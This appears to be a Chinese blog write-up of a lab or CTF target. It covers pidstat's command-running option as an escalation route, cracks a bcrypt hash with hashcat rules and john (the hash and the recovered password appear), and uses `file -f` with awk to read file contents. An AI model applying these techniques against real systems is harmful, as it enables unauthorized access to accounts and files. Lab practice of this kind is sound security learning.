pidstat是sysstat工具的一个命令,主要用于监控全部或指定进程的CPU、内存、线程、设备IO等系统资源的占用情况。以下是pidstat的一些主要功能和用法:

  • 监控资源使用状况:pidstat可以监控特定进程或所有进程的CPU使用率、内存使用情况、I/O活动以及上下文切换等资源使用状况。
  • 显示统计信息:通过pidstat命令,用户可以查看每个进程的CPU利用率(包括用户空间和内核空间)、内存使用情况(包括页面错误、虚拟内存大小和实际使用的物理内存)、磁盘I/O统计(如读写操作的数量和带宽)以及上下文切换次数等信息。
  • 自定义监控:用户可以通过指定统计的次数和时间间隔来获得所需的统计信息。这有助于用户更好地了解系统资源的实时占用情况,从而进行更有效的系统管理和优化。

总的来说,pidstat是一个强大的系统监控工具,可以帮助用户深入了解系统资源的使用情况,从而做出更明智的决策来优化系统性能。

我们查看一下用法:

1
man pidstat 

可以找到这样一个参数:

image-20240404010802541

它实际上是可以在程序中运行你额外的命令,很多命令都有相关参数,如sed也有类似参数,群主师傅视频中也提到了。

爆破

这里爆破时候我使用cupp生成字典但是无果,采用社工字典,但是绿师傅找到了另一种方法,他找到了一个规则库:

GitHub - stealthsploit/OneRuleToRuleThemStill: A revamped and updated version of my original OneRuleToRuleThemAll hashcat rule

这个规则下,可以爆破出密码:

image-20240404014836203

# pass.txt
cassius
# hash.txt
$2b$05$gPKe1EUBPZidX/j3qTDapeznU4CMfkpMd0sQhgehhhoG/pwc4OnVu
1
2
3
mv OneRuleToRuleThemStill.rule One.rule 
hashcat --stdout pass.txt -r One.rule  > password.txt 
john hash.txt --wordlist=password.txt 

我这里报错了,* Device #1: Not enough allocatable device memory for this attack.

是分配内存太小了的缘故?换一个虚拟机试试

奇怪的是我另一个虚拟机,可以生成字典,但是爆破不出来。。。。

image-20240404014959765

突然想起来,前面的小写了。。。尝试大写:

# pass.txt
Cassius
1
2
hashcat pass.txt -r One.rule --stdout  > password.txt 
john hash.txt --wordlist=password.txt --format=bcrypt

image-20240404015317791

额。。。。

我利用的在线网站实际上也是指定了一种规则然后使用hashcat生成的。

使用正则表达式快速提取

我的靶场环境已经删掉了,就先使用群主大大提供的解决方案了!

img

img

1
file -f ii |awk -F: '/cannot/{print $1}'
  1. file -f ii
    • file: 一个用于确定文件类型的命令。
    • -f: 这个选项告诉 file 命令从名为 ii 的文件中读取要检查的文件名列表,而不是从命令行参数中读取,说人话就是读取内容。
    • ii: 包含要检查的文件名列表的文件。
  2. awk -F: '/cannot/{print $1}'
    • awk: 一个文本处理工具,用于模式扫描和数据提取。
    • -F:: 设置输入字段分隔符为冒号 :这意味着 awk 会将每行输入按冒号分割成多个字段。
      • /cannot/: 这是一个模式,表示 awk 只会处理包含字符串 “cannot” 的行。
      • {print $1}: 这是一个动作,表示当匹配到上述模式时,awk 会执行的动作。在这里,它会打印当前行的第一个字段(由冒号分隔)。
本文由作者按照 CC BY 4.0 进行授权